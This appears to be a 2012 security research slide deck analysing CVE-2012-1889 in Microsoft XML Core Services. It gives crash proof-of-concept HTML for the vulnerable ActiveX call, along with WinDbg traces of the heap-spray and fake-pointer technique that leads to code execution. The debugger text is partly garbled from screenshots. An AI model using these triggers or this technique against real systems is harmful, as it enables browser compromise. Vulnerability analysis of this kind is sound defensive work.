

HIGH-TECH BRIDGE

CVE 2012-1889 Microsoft XML core services uninitialized memory vulnerability

SGS

1th July 2012 Brian MARIANI & Frédéric BOURLA

©2012 High-Tech Bridge SA – www.htbridge.com

Timeline

- Before the 30th of May 2012 attackers were exploiting a new Microsoft Internet Explorer 0day.
- The 30th of May 2012 Google warned Microsoft about this vulnerability existing in the core of Internet Explorer XML services.
- The 12th of June 2012 Microsoft published a security advisory with a temporary fix.
- On June 18th 2012 the Metasploit Project released an exploit module.
- On June 19th 2012 a Metasploit update was released, which proposed a 100% reliable exploit for Internet Explorer 6/7/8/9 on Windows XP, Vista, and all the way to Windows 7 SP1.

The flaw

- The vulnerability exists in the MSXML3, MSXML4 and MSXML6 Microsoft dynamic-linked libraries.
- To trigger the flaw one must try to access an XML node (object in memory) that has not been appropriately initialized.
- This leads to memory corruption in such a way that an attacker could execute arbitrary code in the context of the current user.
- This category of flaw can frequently be abused by arranging the heap and stack memory areas with memory addresses previously known by the attacker before the weak code triggers the bug.

According to Wikipedia:





- The Extensible Markup Language (XML) defines a set of rules for encoding documents in a format that is both human-readable and machine-readable.
- The design goals of XML emphasize simplicity, generality, and usability over the Internet.
- It is a textual data format with strong support via Unicode for many programming languages.
- It is also widely used for the representation of arbitrary data structures, typically in web services.

Details about the crash



- The crash is produced in the **msxml3.dll** module.
- The function name where Internet Explorer generates the access violation is _dispatchImpl::InvokeHelper.
- The instruction which produces the crash is a call to a pointer generated by the content of the ECX register plus the 0x18h value.
- In the present document we analyze the whole process from the heap and stack spray, until the bug is triggered and the code execution is reached.
- Our lab environment is an English Windows XP SP3 operating system with IE 6.

Crash proof of concept



• A working proof of concept could be coded in these two ways:

<html></html>
<head></head>
<pre><object classid="clsid:f6D90f11-9c73-11d3-b32e-00c04F990bb4" id="callAX"></object></pre>
<script type="text/javascript"></td></tr><tr><td>function getValue()</td></tr><tr><td>{</td></tr><tr><td><pre>document.getElementById("callAX").object.definition(0);</pre></td></tr><tr><td>}</td></tr><tr><td></script>
<body></body>
<h1 onclick="getValue()">CVE 2012-1889</h1>
<html></html>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="callAX"></object>
<script></td></tr><tr><td><pre>var obj = document.getElementById("callAX").object;</pre></td></tr><tr><td>obj.definition(0);</td></tr><tr><td></script>

The crash in Windbg

HIGH-TECH BRIDGE

Here is the crash within WinDBG debugger:

				2 200					
749bd768	ff7514	pu	sh dw	ord pi	tr [ebp+	0x14]			
749bd76b	68f8a79b74	pu	sh Ox	749ba	7f8 -	-			
749bd770	53	pu	sh eb	х					
749bd771	50	pu	sh ea	х		K			
749bd772	ff5118	ca	ll dword	ptr	ecx+0x1	8 ds	:0023:5:	f5ec6a3•	=????????
Command - P	id 940 - WinDbg	j:6.4.0007.0							
0:000> q									
(3ac.e74)	: Access vi	olation -	- code c	000000)5 (firs	t char	nce)		
Èirst chá	nce excepti	ons are :	reported	befor	e ànv e	xcepti	on hand	lling.	
This exce	ption may b	e expect	ed and h	andled	1.				
eax=74986	70c ebx=000	100000 ec:	x=5f5ec6	8b edz	x=000000	01 esi	1=749867	70c edi=	=0013e350
eip=749bd	.772 esp=001	.3e010 eb;	p=0013e1	4c iop f≂=003	ol=0 35 de=0	1 000	nv up ei	i pl nz	na po nc
mewml31 d	ispatchImpl	··Invoke	S-0025 Helper+N	rs-00. vh4·	ю <u>9</u> 3-0	000		611	00010200
74964772	ff5118	ca.	ll dword	ntr l	ecv+0v1	81 da	$0023 \cdot 5f$: 5ec6a3a	= 222222222
b: 000; dd	5f5ec6a3		ii d#oid	Por	001110111		0020.01		
5f5ec6a3	77777777 7	????????	?????????	????	????	·`\			
5f5ec6b3	???????????????????????????????????????	????????	?????????	????	2777	$\langle \rangle$			
5f5ec6c3	???????????????????????????????????????	???????	?????????	????	????	\sim			
5f5ec6d3	???????????????????????????????????????	???????	?????????	????1	????	1			
5f5ec6e3	???????????????????????????????????????	???????	?????????	????1	????				
5f5ec6f3	222222222	???????	????????	????1	????				
5f5ec703	???????????????????????????????????????	???????	????????	????1	????				
5f5ec713	???????????????????????????????????????	????????	?????????	????1	????				

Loading the vulnerable module



- In order to analyze this flaw we first create a simple **HTML** file.
- The main purpose is to load the vulnerable module first.
- Once the module is just loaded in memory, a breakpoint is set at the very beginning of the function _dispatchImpl::InvokeHelper.

```
<html>
<head>
<object classid='clsid:f6D9Of11-9c73-11d3-b32e-OOc04F990bb4' id='callAX'></object>
<script type="text/javascript">
alert('Library msxml3 is now loaded');
</script>
</head>
<body>
<h1>CVE 2012-1889</h1>
</body>
</html>
```

Loading the vulnerable module



 The msxml3.dll module is now loaded at the 0x7498000 memory address.



Some important points

- Until the HTML page is rendered the _dispatchImpl::InvokeHelper function will be called four times, however the instruction which permits arbitrary code execution will be hit at the fourth entry.
- Before the _dispatchImpl::InvokeHelper function is reached the heap will be already prepared in order to contain the or al,0x0C sled which gently leads to the execution of shellcode.
- The or al,0x0C instruction does not affects any critical data. The goal is to "slide" the flow of code to its ultimate destination.
- Since the shellcode is sitting in multiple chunks in the heap right after the or al,0x0C sled the probability of successful arbitrary code execution is very high. (see slide 13)
- The stack will be sprayed with fake pointers 0c0c0c08 in order to successfully reach the or al,0x0c sled. (see slide 17)

Analysis of the vulnerability (1)

- After the _dispatchImpl::InvokeHelper function is first reached, this is the status of the call stack.
- At this point the heap is already arranged with the or al,0x0C pattern.

00 00138304 749bdb13 msxml3! dispatchImpl::InvokeHelper 01 00138340 749dcb09 msxml3! dispatchImpl::Invoke+0x5e 02 00138378 7dca659e msxml3!DOMDocumentWrapper::Invoke+0x75 03 001383b4 7dea590a mshtml !GetDispProp+0x45 04 001383ec 7dea7495 mshtml!COleSite::GetReadyState+0x41 05 00138418 7deaab60 mshtml!COleSite::OnControlReadyStateChanged+0x1c 06 0013a498 7deab16e mshtml!COleSite::CreateObjectNow+0x40d 07 0013a4bc 7deaba20 mshtml !CCodeLoad::OnObjectAvailable+0x84 08 0013a530 7deabd7e mshtml!CCodeLoad::BindToObject+0x460 09 0013a550 7dea5151 mshtml !CCodeLoad::Init+0x287 0a 0013a5d0 7deaf65b mshtml!COleSite::CreateObject+0x26d 0b 0013e780 7de93720 mshtml!CObjectElement::CreateObject+0x721 Oc 0013e784 7dcd06f5 mshtml!CHtmObjectParseCtx::Execute+0x8 Od 0013e7d07dc9cf47mshtml!CHtmParse::Execute+0x41 Oe 0013e7dc 7dcc4b87 mshtml!CHtmPost::Broadcast+0xd Of 0013e8987dcb4c3fmshtml!CHtmPost::Exec+0x32f 10 0013e8b0 7dcb4be4 mshtml!CHtmPost::Run+0x12 11 0013e8c0 7dcb5023 mshtml PostManExecute+0x51 12 0013e8d8 7dcb4fa6 mshtml!PostManResume+0x71 13 0013e8e4 7dcb3ffc mshtml!CHtmPost::OnDwnChanCallback+0xc

XML CORE SERVICES

MICROSOFT HTML ENGINE

Analysis of the vulnerability (2)

- It is possible to observe the copy procedure of the dword values 0c0c0c0c into the heap area.
- The copy routine is executed from the msvcrt!memcpy function which was called by the jscript.dll module.



Analysis of the vulnerability (3)

- HIGH-TECH BRIDGE
- After finishing the aforementioned copy procedure, the heap is properly arranged:



Analysis of the vulnerability (4)







Analysis of the vulnerability (5)

 Here is the call stack after the vulnerable function is thirdly reached:



Analysis of the vulnerability (6)

- Finally, we can observe the call stack after the _dispatchImpl::InvokeHelper function has been accessed for the fourth time.
- At this point the fake pointers were written into the stack, as shown in the next slide.

00 0013e2d0 749bdb13 msxml3!_dispatchImpl::InvokeHelper 010013e30c749d4d84 msxml3!_dispatchImpl::Invoke+0x5e XML SERVICES 02 0013e34c 749dcae4 msxml3!DOMNode::Invoke+0xaa 03 0013e380 749bd5aa msxml3!DOMDocumentWrapper::Invoke+0x50 04 0013e3dc 749d6e6c msxml3! dispatchImpl::InvokeEx+0xfa 05 0013e40c 75c71408 msxml3! dispatchEx<IXMLDOMNode.&LIBID MSXML2.&IID IXMLDOMNode.0>::InvokeEx+0x2d 06 0013e444 75c71378 jscript!IDispatchExInvokeEx2+0xac 07 0013e47c 75c76db3 jscript!/DispatchExInvokeEx+0x56 08 0013e4ec 75c710d8 jscript!InvokeDispatchEx+0x78 09 0013e534 75c6fab8 jscript!VAR::InvokeByName+0xba 0a 0013e574 75c6efea jscript!VAR::InvokeDispName+0x43 THE VALUES CONTAINED IN THE STACK WERE Ob 0013e59875c76ff4jscript!VAR::InvokeByDispID+0xfd OVERWRITTEN WITH THE OCOCOCOS PATTERN Oc 0013e650 75c7165d jscript!CScriptRuntime::Run+0x16bd Od 0013e668 75c71793 jscript!ScrFncObj::Call+0x8d Oe 0013e6d875c5da62jscript!CSession::Execute+0xa7 Of 0013e72875c5e6e7 jscript!COleScript::ExecutePendingScripts+0x147 10 0013e78c 75c5e538 jscript!COleScript::ParseScriptTextCore+0x243 11 0013e7b8 7dcd195b jscript!COleScript::ParseScriptText+0x2b 12 0013e818 7dcd1804 mshtml CScriptCollection::ParseScriptText+0x1da 13 0013e8d0 7dcd18f0 mshtml !CScriptElement::CommitCode+0x1e1 MICROSOFT HTML ENGINE

Analysis of the vulnerability (7)

The fake pointers copy procedure is being executed by the memcpy routine called from the jscript module.

Memory - Pid 3696 - WinDbg:6	4.0007.0				⊡ ⊻	Registers -	Pid 3696 - Win 🛛 🗶
Virtual: 001bb79c-4		Display format: Po	inter and 💌	Previous	Next	Customize	
001bb798 00000040					-	Reg	Value 🔺
001bb7a0 0c0c0c08 K						qs	0
001bb7a4 0c0c0c08						fs	3Ъ
001bb7a8 0c0c0c08						es	23
001bb7ac 0c0c0c08	\mathbf{X}					ds	23
001bb7b0 0c0c0c08						edi	1bb7b4
00155754 00610073						esi	1a422c
00155750 00610066						ebx	3f690
001bb7c0 00690074						edx	0
001bb7c4 00440020						ecx	2
001bb7c8 006e0079						eax	1a4234
001bb7cc 006d0061		\mathbf{i}				ebp	13e56c
00155740 00630069		\mathbf{X}				eip	77c46fa3
001bb7d4 00460020						CS	1b
001bb7d8 006c0061						efl	10246
001bb7dc 00650000						esp	13e564
001bb7e0 02500000						SS	23
1001bb7e4 001bafd8					<u> </u>	dr0	0
Disassembly - Pid 3696 - WinD	ba:6.4.0007.0					dr1	0
Offerty 240bdCb-	09.0.4.0001.0			Dession	Nava	dr2	0
Offset: 174 9Dd6De				Previous	INEX	dr3	0
77c46f75 8b750c	ROV	esi,[ebp+0xc]				drb	0
77c46f78 8b4d10	ROV	ecx.[ebp+0x10]				dr/	1214
77c46f7b 8b7d08	ROV	edi,[ebp+0x8]				<u>a</u> 1	D/D4 422a
7/C461/e 8DC1	nov	eax,ecx				51	4220
77046100 0Dd1	nov					DX du	1670
77c46f84 3bfe	CND	edi esi	\mathbf{X}			ax	2
77c46f86 7608	ibe	nsvertinemenv+0x20 (77c46)	f 90 1			CX	4224
77c46f88 3bf8	CND	edi.eax				bp	9239
77c46f8a 0f8278010000	jb	nsvcrt!nemcpy+0x198 (77c4)	7108)			jp	650C
77c46f90 f7c703000000	test	edi,0x3				fl	246
77c46f96 7514	jnz	msvcrt!memcpy+0x3c (77c46)	fac)			11 8D	240 e561
77c46f98 c1e902	shr	ecx,0x2	\sim			ы	90
77c46f9b 83e203	and	edx, 0x3		<hr/>		dl	0
77c46f9e 83f908	cmp	ecx, 0x8	·	\mathbf{N}			2
7/C461a1 7229	jБ	nsvcrt!nemcpy+0x5c (77c46)	(CC)	0000		al	34
//C461a3 13a5	rep hovs	d ds:001a422c=0c0c0c08 es	:001DD/D4=006f	0073		91	34

©2012 High-Tech Bridge SA – www.htbridge.com

Analysis of the vulnerability (8)

 Here is the status of the stack after finishing the aforementioned routine.

		Communication and Communicat	
👮 Pid 1000 - WinDbg:6.4.0007.0			
<u>File E</u> dit <u>V</u> iew <u>D</u> ebug <u>W</u> indow <u>H</u> elp			
	Maria Maria		
Disassembly - Pid 1000 - WinDbg:6.4.0007.0		Memory - Pid 1000 - WinDbg:6.4.0007.0	<u>⊡</u> ⊻
Offset: 749bd6be	Previous Next	Virtual: @esp	Previous
749bd69d 8b85f0fdffff mov	eax,[ebp-0x210]	Display format: Pointer and Symbol	Next
749bd6a3 8b08 mov	ecx,[eax]		
749bd6a5 50 push	eax		
749bd6a9 8b4dfc mou	awora ptr [ecx+0		
749bd6ac 5f pop	edi	0013e1d0 0c0c0c08	
749bd6ad 8bc6 mov	eax,esi	0013e1d4 0c0c0c08	
749bd6af 5e pop	esi	0013e1d8 0c0c0c08	
749bd6b0 e89fdefcff call	msxml3!securit		
749bd6b6 c9 leave	01.0	0013e1e4 0c0c0c08	
749bd6b9 90 non	0X10	0013e1e8 0c0c0c08	
749bd6ba 90 nop		0013e1ec 0c0c0c08	
749bd6bb 90 nop		0013e1f0 0c0c0c08	
749bd6bc 90 nop		0013e114 0C0C0C08	
meyml31 dispatchImpl::InwokeHelp		0013e1fc 0c0c0c08	
749bd6be 8bff mov	edi.edi	0013e200 0c0c0c08	
749bd6c0 55 push	ebp	0013e204 0c0c0c08	
749bd6c1 8bec mov	ebp,esp	0013e208 0c0c0c08	
749bd6c3 81ecUcU1UUUU sub	esp,Ux1Uc		
749bd6ca 56 push	esi	0013e214 0c0c0c08 → Fake pointers	
749bd6cb 33db xor	ebx.ebx	0013e218 0c0c0c08 /	
749bd6cd 395d24 cmp	[ebp+0x24],ebx	0013e21c 0c0c0c08	
749bd6d0 57 push	edi		
749bd6d1 53 push	ebx		
749bd6d3 0f9545ff setne	byte ntr [ebp-0y	0013e22c 0c0c0c08	
749bd6d7 895df8 mov	[ebp-0x8],ebx	0013e230 0c0c0c08	
749bd6da ff159c90a474 call dwo	rd ptr [msxml3!_im	0013e234 0c0c0c08	
749bd6e0 8b750c mov	esi,[ebp+0xc]	0013e238 UCUCUCU8	
749bd6e3 8d45f4 lea	eax,[ebp-0xc]		
749bd6e7 0fb6461c push	eax eav bute ptr [ee	0013e244 0c0c0c08	
749bd6eb 50 push	eax	0013e248 0c0c0c08	
749bd6ec ff7618 push	dword ptr [esi+0	0013e24c 0c0c0c08	
749bd6ef ff7510 push	dword ptr [ebp+0		
749bd6f2 e869f9ffff call	msxml3!_dispatch		
749bd6f9 89450c mp	eax,ebx		
101 101 000 00010000	[epproxel],eax	0013e260 0c0c0c08	
		10013e264_0c0c0c08	
	Ln 0,	Col 0 Sys 0: <local> Proc 000:3e8 Thrd 000:d04 ASM OVR</local>	CAPS NUM

Analysis of the vulnerability (9)

- As said before, from this point the vulnerable code will finally lead to arbitrary code execution.
- The function prolog is executed as usual.
- At the 0x749BD6C3 address 0x10C bytes are reserved for the local variables, thus we can observe the previously injected fake pointers.

msxml3!_dispatchImpl::In 749bd6be 8bff 749bd6c0 55 749bd6c1 8bec	vokeHelp mov push mov	er: edi,edi ebp ebp.esp			
749bd6c3 81ec0c010000	sub	esp,0x10c	0013e1c4 0013e1c8 0013e1cc 0013e1d0 0013e1d4 0013e1d8 0013e1dc 0013e1e0 0013e1e4 0013e1e8 0013e1ec 0013e1f0 0013e1f4	0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08	

Analysis of the vulnerability (10)

- HIGH-TECH BRIDGE
- At the address 0x749BD6C9 other arguments are pushed in order to call the SetErrorInfo function from the Oleaut32.dll module.

749bd6c9	53	push	ebx			
749bd6ca	56	push	esi			
749bd6cb	33db	xor	ebx,ebx			
749bd6cd	395d24	cmp	[ebp+0x24],ebx			
749bd6d0	57	push	edi			
749bd6d1	53	push	ebx			
749bd6d2	53	push	ebx			
749bd6d3	Of9545ff	setne	byte ptr [ebp-	0x1]		
749bd6d7	895df8	MOV	[ebp-0x8],ebx			
749bd6da	ff159c90a474 (call dword	ptr [msxml3!_im	p <u>SetErrorInfo</u>	(74a4909c)]{OLEAUT32	<u>!SetErrorInfo</u>

Analysis of the vulnerability (11)



 After returning from the SetErrorInfo function the routine FindIndex is also called:

749bd6e0 8b750c 749bd6e3 8d45f4 749bd6e6 50 749bd6e7 0fb6461c 749bd6eb 50 749bd6ec ff7618 749bd6ef ff7510	mov lea push movzx push push push	esi,[ebp+0xc] eax,[ebp-0xc] eax eax,byte ptr [esi+0x eax dword ptr [esi+0x18] dword ptr [ebp+0x10]	:1c]
749bd6f2 e869f9ffff	call	msxml3!_dispatchImpl	::FindIndex (749bd060)
		msxm13!_dispatchImpl::FindI 749bd060 8bit 749bd063 8bec 749bd065 55 749bd065 53 749bd066 8b5d0c 749bd065 53 749bd066 8b5d0c 749bd066 8b5d0c 749bd066 8b7510 749bd066 33ff 749bd070 4e 749bd074 8d408 749bd074 8d408 749bd074 8d43e 749bd074 8d43e 749bd077 890 749bd078 2bc2 57 799 749bd078 2bc2 58 749bd076 749bd078 2b0c3 59 749bd086 749bd086 82c9 749bd086 85c9 749bd088 7e0e 749bd088 7e0e 749bd084 80701 749bd084 80701 749bd098 844c304 749bd098	<pre>index: index: index: index ebp.esp push ebp. index ebp.esp push ebx index ebp.esp push esi index esi index esi.[ebp+0x10] push edi index esi.[ebp+0x10] push edi index edi.[edi index edi index edi ind</pre>
		749bd0a6 5d p 749bd0a7 c21000 r	op ebp et 0x10

©2012 High-Tech Bridge SA – www.htbridge.com

Analysis of the vulnerability (12)

When the code returns from the FindIndex function the EAX value is set to zero.

0 13e2c4

edi

esi ebx edx

ecx eax ebp

eip

13e4d4

13e2d0 749bd6f7

74a4f584

Thus, the conditional jump at the address 0x749BD6FC is not performed.

749bd6ec	ff7618	push	dword ptr [esi+0x18]		
749bd6ef	ff7510	push	dword ptr [ebp+0x10]		
749bd6f2	e869f9ffff	call	msxml3!_dispatchImpl::F	indIndex (749bd060)	
749bd6f7	ЗЪс3	cmp	eax,ebx		
749bd6f9	89450c	MOV	[ebp+0xc],eax		
749bd6fc	<u>0f8c00010000 j</u>	<u>1 msxm13!</u>	<u>_dispatchImpl::InvokeHelp</u>	er+0x144 (749bd802) []	br=0]
749bd702	8b45f4	MOV	eax,[ebp-0xc]		
749bd705	8b7d1c	MOV	edi,[ebp+0x1c]		
749bd708	395f08	cmp	[edi+0x8],ebx		
749bd70b	8b4e10	mov	ecx,[esi+0x10]		
749bd70e	8d0440	lea	eax,[eax+eax*2]		
749bd711	8d04c1	lea	eax,[ecx+eax*8]		

Analysis of the vulnerability (13)

- The flow of code continues until it reaches the instruction "lea eax, [ebp-0x1c]" which loads the EAX register with one of the fake pointers.
- This starts to be interesting. However we have not hit the bug yet. :]

749bd714 7674	jbe msxml3!_dispatchImpl::InvokeHelper+0xcc (749bd78a)
749bd716 395d10	cmp [ebp+0x10],ebx
749bd719 746f	jz msxml3!_dispatchImpl::InvokeHelper+0xcc (749bd78a)
749bd71b f645180;	1 test byte ptr [ebp+0x18],0x1
749bd71f 7469	jz msxml3!_dispatchImpl::InvokeHelper+0xcc (749bd78a)
749bd721 f640160;	2 test byte ptr [eax+0x16],0x2
749bd725 7463	jz msxml3!_dispatchImpl::InvokeHelper+0xcc (749bd78a)
749bd727 6683781	409 cmp word ptr [eax+0x14],0x9
749bd72c 755c	jnz msxml3!_dispatchImpl::InvokeHelper+0xcc (749bd78a)
749bd72e 8d45e4	lea eax,[ebp=0x1c] ss:0023:0013e2b4=0c0c0c08

Command -	Pid 36	16 -	Winl	Dbg:	6.4.0	007	.0									2 🗵
0:000> d	[ea:	к]														
0013e2b4	08	Оc	0c	0c	08	0c	0c	0c-08	0c	0c	0c	08	0c	0c	0c	
0013e2c4	06	00	00	00	00	00	00	00-08	0c	0c	01	0c	e 3	13	00	
0013e2d4	13	db	9Ъ	74	a4	48	c8	01-00	00	00	00	17	00	00	00	
0013e2e4	09	04	00	00	01	00	00	00-d4	e4	13	00	00	00	00	00	
0013e2t4	Ь4	e4	13	00	ec	e3	13	00-03	UU	02	80	ec	e3	13	00	• •
0013e304	1/	00	00	00	eU	C2	1D	00-40	ej	13	00	84	40	9d	74	• •
0013e314	84	15	a4 00	/4	a4 01	48	Cð	01-1/	-4	10	00	18	a/	90	/4	• •
00138324	09	04	00	00	01	00	00	00-44	64	10	00	00	00	00	00	• •
•																Þ
0:000>																

Analysis of the vulnerability (14)



- Later, the code flow calls the Oleaut32!VariantInit function.
- We will not go deeper into this function as this is not interesting for this analysis.

749bd72e	8d45e4		lea	eav [e]	-0v1	<u>_</u> 1				
749bd728	50		nuch	eav, [ei	-uvi	.0]				
49bd732	ff15989	90a474 ca	ll dword	otr [ms:	xm. 3!	imp	VariantIni	.t (14a490	98)1{OLEA	UT32!VariantIni
	11		÷							
	ſ	OLEAUT32!	VariantIni	.t:						7
		77124950	8btt	m	ov	edi,	edi			
		77124952	55	p	ush	ebp				
		77124953	8bec	m	ov	ebp,	esp			
		77124955	8b4508	m	ov	eax,	[ebp+0x8]			·····
		77124958	66832000	a	nd	word	l ptr [eax],0	xO		····
		7712495c	5d	P	op	ebp				
		7712495d	c20400	r	et	0x4				····
		77124960	83e804	s	ub	eax,	0x4			
		77124963	74d6	j	z	OLEA	AUT32!Variant	Clear+0xa4	(7712493b))
		77124965	83e817	s	ub	eax,	0x17			
		77124968	Of845a0100)00 j	e	OLEA	AUT32!Variant	Clear+0x7b	(77124ac8)	
		7712496e	83e824	S	ub	eax,	0x24			
		77124971	74c8	j	z	OLEA	AUT32!Variant	Clear+0xa4	(7712493Ъ))
		77124973	668Ъ06	m	ov	ax,[[esi]			
		77124976	f6c420	t	est	ah,C)x20			
		77124979	7488	j	z	OLEA	AUT32!Variant	Clear+0xbb	(77124903))
		7712497Ъ	f6c440	t	est	ah,C)x40			
		7712497e	7583	j	nz	OLEA	AUT32!Variant	Clear+0xbb	(77124903))
		77124980	ff7608	P	ush	dwor	d ptr [esi+0	[x8]		
		77124983	e81d060000) c	all	OLEA	AUT32!SafeArr	ayDestroy	(77124fa5)	
		77124988	85c0	t	est	eax,	eax			. 📘 📕
		7712498a	Ut8d73fff	tt j	ni	OLEA	AUT32!Variant	Clear+0xbb	(77124903)	21
		77124990	e974fffff	: j	mp	OLEA	AUT32!Variant	Clear+0xc1	(77124909)	기 🕁
		77124995	90	n	op					
		77124996	90	n	op					

Analysis of the vulnerability (15)

- HIGH-TECH BRIDGE
- After returning from the Oleaut32!VariantInit function the code pushes the EBX register which was previously set to zero.

gs fs	0 ЗЪ								
es	23								
ds	23								
edi	13e4d4								
esi	74a4f584								
ebx	0	B 401 1800							
edx	0	74950738	53	push	ebx				ב
ecx	74a4f5a8	74950739	804564	lea	eax,[ebp-	Uxicj	SS:UUZ3:U	UU13e2b4=UcUcUUU	۳
eax	13e2b4	749Dd/3C	50	push	eax				
ebp	13e2d0	74900730	bauz	pusn	0X2				
eip	749bd738	74900731	53 ££7510	pusn	eox duord ptr	[_bp_10	••101		
cs	1b	74954740	ff7508	push	dword ptr	[ebp+0	×10] v81		
efl	246	74964746	ff5620	call	dword ptr	[esi+0	x201		
esp	13e1b8	74954749	3bc3	Cmp	eax,ebx	[031/0			

- Later, the code loads **EAX** with a pointer of injected dword values.
- However the low word was partially corrupted during the execution. Nevertheless this will not affect the arbitrary code execution.

OLEAUT32!VariantInit:		
77124950 8bff	mov	edi,edi
77124952 55	push	ebp
77124953 8bec	MOV	ebp,esp
77124955 8Ъ4508	MOV	eax,[ebp+0x8]
77124958 66832000	and	word ptr [eax],0x0_0:000> dd 0013e2b4
		0013e2b4 0c0c0000
		0013e2c4 0000006
		0013e2d4 749bdb13
		0013e2e4 00000409
		0013e2f4 0013e4b4
		0013e304 00000017
		0013e314 74a4f584

©2012 High-Tech Bridge SA – www.htbridge.com

Analysis of the vulnerability (16)

- The code continues running until it reaches a call to the pointer of [esi+0x20] which resolves to the DOMNode::_invokeDOMNode function.
- We are not going deeper into all the subsequent calls from this point, however the next slide shows the call stack until reaching the last function into the process of creating the XML node. During this phase the "get_definition" function is finally accessed.

749bd73c 50	push	eax			
749bd73d 6a02	push	0x2			
749bd73f 53	push	ebx			
749bd740 ff7510	push	dword ptr [ebp+0x10]			
749bd743 ff7508	push	dword gtr [ebp+0x8]			
749bd746 ff5620 call dw	ord ptr [e	esi+0x20]{msxm13!DOMNode::	_invokeDOMNode	(749d3b71)}	ds:0023:74a
749bd749 3bc3	cmp	eax,ebx			
749bd74b 0f8cc7000000	jl msxml3	!_dispatchImpl::InvokeHelp	er+0x15a (749bd)	818)	

Analysis of the vulnerability (17)



• The **Node::get_definition** function is accessed.

00 0013e0f0 74991c4e msxml3!DTD::New 01 0013e100 749d31a9 <u>msxm13!Document::getDTD+0x15</u> 02 0013e11c 749d5d9a msxml3!Node::getDefinition+0x1d 03 0013e170 749dea72 msxml3!DOMNode::get_definition+0x69 04 0013e180 749d3dbd msxml3!DOMDocumentWrapper::get_definition+0x14 05 0013e198 749bd749 msxml3!DOMNode::_invokeDOMNode+0x24c 06 0013e2d0 749bdb13 msxml3!_dispatchImpl::InvokeHelper+0x8b 07 0013e30c 749d4d84 msxml3!_dispatchImpl::Invoke+0x5e 08 0013e34c 749dcae4 msxml3!DOMNode::Invoke+0xaa 09 0013e380 749bd5aa msxml3!DOMDocumentWrapper::Invoke+0x50 0a 0013e3dc 749d6e6c msxml3!_dispatchImpl::InvokeEx+0xfa 0b 0013e40c 75c71408 msxml3!_dispatchEx<IXMLDOMNode,&LIBID_MSXML2,&IID_IXMLDOMNode,0>::InvokeEx+0x2d Oc 0013e444 75c71378 jscript IDispatchExInvokeEx2+0xac Od 0013e47c 75c76db3 jscript!IDispatchExInvokeEx+0x56 0e 0013e4ec 75c710d8 jscript!InvokeDispatchEx+0x78 Of 0013e534 75c6fab8 jscript!VAR::InvokeByName+0xba 10 0013e574 75c6efea jscript!VAR::InvokeDispName+0x43 11 0013e598 75c76ff4 jscript!VAR::InvokeByDispID+0xfd 12 0013e650 75c7165d jscript!CScriptRuntime::Run+0x16bd 13 0013e668 75c71793 jscript!ScrFncObj::Call+0x8d

Analysis of the vulnerability (18)



When the code returns from the DOMNode::_invokeDOMNode function the value of the EAX register is set to 1.



So the JL jump at the address 0x749BD74B is not executed.

<mark>749bd749 3bc3 cmp eax,ebx</mark> 749bd74b 0f8cc7000000 jl msxml3!_dispatchImpl::InvokeHelper+0x15a (749bd818)

Analysis of the vulnerability (19)



- After the non-taken jump the code takes a dword from [ebp+0x14] and moves it into the EAX register.
- EAX now holds the 0x0c0c0c08 value.

749bd751	8b45ec	mov	eax,[ebp-0x14]	ss:0023:0013e	e2bc <mark>=0c0c0c0</mark>	81
749bd754	3Ъс3	cmp	eax,ebx			
749bd756	8bf0	MOA	esi,eax			
749bd758	7426	jz msxml3	<pre>!_dispatchImpl:</pre>	:InvokeHelper+0xc	c2 (749bd780	
					gs	0
					fs	3Ъ
					es	23
					ds	23
					edi	13e4d4
					esi	74a4f584
					ebx	0
					edx	1
					ecx	749d5dfc
					eax	C0C0C08
					ebp	13e2d0
					eip	749bd754

Analysis of the vulnerability (20)

- But wait... The value is directly moved into the EAX register... And what was indeed the previously moved value?
 - 749bd751 8b45ec mov eax,[ebp-0x14] ss:0023:0013e2bc=0c0c0c08
- Decompiling the msxml3.dll module with IDA shows us that the value matches with a local variable that was not properly initialized.

text:749BDOBE	_dispatchImpl_	_InvokeHe	lper p	roc near	; CODE	XREF: s	ub_749BDA	85+59 1 p
text:749BD6BE	uar 18C	= bute r	tr -1	865				
text:749BD6BE	var 1C	= bute	otr -1	Ch				
text:749BD6BE	var 14	= dword	ptr -	14h				
text:749BD6BE	var C	= dword	ptr -	BCh				
text:749BD6BE	var_8	= dword	ptr -	8				
.text:749BD6BE	var_1	= byte p	itr -1					I
text:749BD6BE	arg_4	= dword	ptr	8				
text:749BD6BE.	arg_8	= dword	ptr	ØCh				
.text:749BD6BE	arg_C	= dword	ptr	10h				
.text:749BD6BE	arg_10	= dword	ptr	14h				
.text:749BD6BE	arg_14	= dword	ptr	18h				I
text:749BD6BE	arg_18	= dword	ptr	1Ch				
.text:749BD6BE	arg_1C	= dword	ptr	20h				
text:749BD6BE	arg_20	= dword	ptr	24h				
text:749BD6BE	arg_24	= dword	ptr	28h				
.text:749BD6BE								
		nov	edi,	edi				I

Analysis of the vulnerability (21)



 Later, because of the comparison between EAX and EBX at 0x749BD754 the JZ jump instruction at 0x749BD758 is not taken.



 The code continues... And lastly, the content of the EAX pointer is transferred into the ECX register.

749bd758 7426 749bd75a ff75	28	jz msxml push	3!_dispatchI: dword ptr	mpl::Ir [ebp+0x	vokeHelper+0xc2 28]	(749bd780)
749bd75d 8b08		MOV	ecx,[eax]		ds:0023:0c0c0c	08=0c0c0c0c
					·!	
		gs	0			
		fs	3Ъ			
		es	23			
		ds	23			
		ed	i 13e4d4			
		es	i c0c0c08			
		eb	x 0			
		ed	x 1			
		ec	x clclclc			
		eat	x c0c0c08			
		eb	p 13e2d0			
		ei	p 749bd75	f		
		cs	1b			
		ef	1 202			
		est	n 13e1b4			

Analysis of the vulnerability (22)

 Since from the address 0x749BD75F the following instructions will not modify the ECX register, the call instruction at the address 0x749BD772 will successfully reach the or al,0x0c sled.

